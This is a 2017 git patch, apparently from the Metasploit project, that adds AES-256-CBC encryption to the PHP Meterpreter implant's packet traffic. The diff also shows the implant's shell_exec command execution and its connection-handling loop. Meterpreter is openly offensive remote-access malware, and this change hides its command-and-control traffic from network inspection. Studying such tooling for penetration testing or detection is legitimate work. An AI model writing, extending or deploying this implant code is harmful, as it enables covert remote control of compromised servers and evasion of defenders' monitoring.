From d75ddcdb2c4a32ca6944f1eae92706df17a6f076 Mon Sep 17 00:00:00 2001
From: OJ <oj@buffered.io>
Date: Wed, 28 Jun 2017 20:07:42 +1000
Subject: [PATCH] Add AES support to PHP

Still doesn't take into account the given public key, but we're getting
there.
---
 php/meterpreter/meterpreter.php | 63 ++++++++++++++++++++++++++++++---
 1 file changed, 58 insertions(+), 5 deletions(-)

diff --git a/php/meterpreter/meterpreter.php b/php/meterpreter/meterpreter.php
index 41b81d8a..3f0f6fbf 100755
--- a/php/meterpreter/meterpreter.php
+++ b/php/meterpreter/meterpreter.php
@@ -33,7 +33,7 @@ if (!isset($GLOBALS['readers'])) {
 # global list of extension commands
 if (!isset($GLOBALS['commands'])) {
     $GLOBALS['commands'] = array("core_loadlib", "core_machine_id", "core_set_uuid",
-        "core_set_session_guid", "core_get_session_guid");
+        "core_set_session_guid", "core_get_session_guid", "core_negotiate_aes");
 }
 
 function register_command($c) {
@@ -109,6 +109,8 @@ define("SESSION_GUID", "");
 #
 # Constants
 #
+define("AES_256_CBC", 'aes-256-cbc');
+
 define("PACKET_TYPE_REQUEST",         0);
 define("PACKET_TYPE_RESPONSE",        1);
 define("PACKET_TYPE_PLAIN_REQUEST",  10);
@@ -182,6 +184,11 @@ define("TLV_TYPE_MACHINE_ID",          TLV_META_TYPE_STRING | 460);
 define("TLV_TYPE_UUID",                TLV_META_TYPE_RAW    | 461);
 define("TLV_TYPE_SESSION_GUID",        TLV_META_TYPE_RAW    | 462);
 
+# Packet encryption
+define("TLV_TYPE_AES_KEY",             TLV_META_TYPE_RAW    | 550);
+define("TLV_TYPE_ENC_AES_KEY",         TLV_META_TYPE_RAW    | 551);
+define("TLV_TYPE_RSA_PUB_KEY",         TLV_META_TYPE_STRING | 552);
+
 function my_cmd($cmd) {
     return shell_exec($cmd);
 }
@@ -462,6 +469,15 @@ function get_hdd_label() {
   return "";
 }
 
+function core_negotiate_aes($req, &$pkt) {
+    if (supports_aes()) {
+        my_print("AES functionality is supported");
+        $GLOBALS['AES_KEY'] = rand_bytes(32);
+        packet_add_tlv($pkt, create_tlv(TLV_TYPE_AES_KEY, $GLOBALS['AES_KEY']));
+    }
+    return ERROR_SUCCESS;
+}
+
 function core_get_session_guid($req, &$pkt) {
   packet_add_tlv($pkt, create_tlv(TLV_TYPE_SESSION_GUID, $GLOBALS['SESSION_GUID']));
   return ERROR_SUCCESS;
@@ -630,8 +646,16 @@ function rand_xor_byte() {
     return chr(mt_rand(1, 255));
 }
 
+function rand_bytes($size) {
+    $b = '';
+    for ($i = 0; $i < $size; $i++) {
+        $b .= rand_xor_byte();
+    }
+    return $b;
+}
+
 function rand_xor_key() {
-  return rand_xor_byte() . rand_xor_byte() . rand_xor_byte() . rand_xor_byte();
+    return rand_bytes(4);
 }
 
 function xor_bytes($key, $data) {
@@ -660,11 +684,38 @@ function generate_req_id() {
     return $rid;
 }
 
+function supports_aes() {
+    return function_exists('openssl_decrypt') && function_exists('openssl_encrypt');
+}
+
+function decrypt_packet($raw) {
+    $encrypted = $raw[20] === "\x01";
+    if ($encrypted && supports_aes() && $GLOBALS['AES_KEY'] != null) {
+        $tlv = substr($raw, 21);
+        $dec = openssl_decrypt(substr($tlv, 24), AES_256_CBC, $GLOBALS['AES_KEY'], OPENSSL_RAW_DATA, substr($tlv, 8, 16));
+        return pack("N", strlen($dec) + 8) . substr($tlv, 4, 4) . $dec;
+    }
+    return substr($raw, 21);
+}
+
+function encrypt_packet($raw) {
+    if (supports_aes() && $GLOBALS['AES_KEY'] != null) {
+        if ($GLOBALS['AES_ENABLED'] === true) {
+            $iv = rand_bytes(16);
+            $enc = $iv . openssl_encrypt(substr($raw, 8), AES_256_CBC, $GLOBALS['AES_KEY'], OPENSSL_RAW_DATA, $iv);
+            $hdr = pack("N", strlen($enc) + 8) . substr($raw, 4, 4);
+            return $GLOBALS['SESSION_GUID'] . "\x01" . $hdr . $enc;
+        }
+        $GLOBALS['AES_ENABLED'] = true;
+    }
+
+    return $GLOBALS['SESSION_GUID'] . "\x00" . $raw;
+}
+
 function write_tlv_to_socket($resource, $raw) {
     $xor = rand_xor_key();
     # default to unecrypted traffic
-    $raw = $GLOBALS['SESSION_GUID'] . "\x00" . $raw;
-    write($resource, $xor . xor_bytes($xor, $raw));
+    write($resource, $xor . xor_bytes($xor, encrypt_packet($raw)));
 }
 
 function handle_dead_resource_channel($resource) {
@@ -1244,6 +1295,8 @@ error_reporting(0);
 # update it as required.
 $GLOBALS['UUID'] = PAYLOAD_UUID;
 $GLOBALS['SESSION_GUID'] = SESSION_GUID;
+$GLOBALS['AES_KEY'] = null;
+$GLOBALS['AES_ENABLED'] = false;
 
 # If we don't have a socket we're standalone, setup the connection here.
 # Otherwise, this is a staged payload, don't bother connecting
@@ -1301,7 +1354,7 @@ while (false !== ($cnt = select($r, $w, $e, $t))) {
             while (strlen($packet) < $len) {
                 $packet .= read($msgsock, $len-strlen($packet));
             }
-            $response = create_response(substr(xor_bytes($xor, $packet), 21));
+            $response = create_response(decrypt_packet(xor_bytes($xor, $packet)));
 
             write_tlv_to_socket($msgsock, $response);
         } else {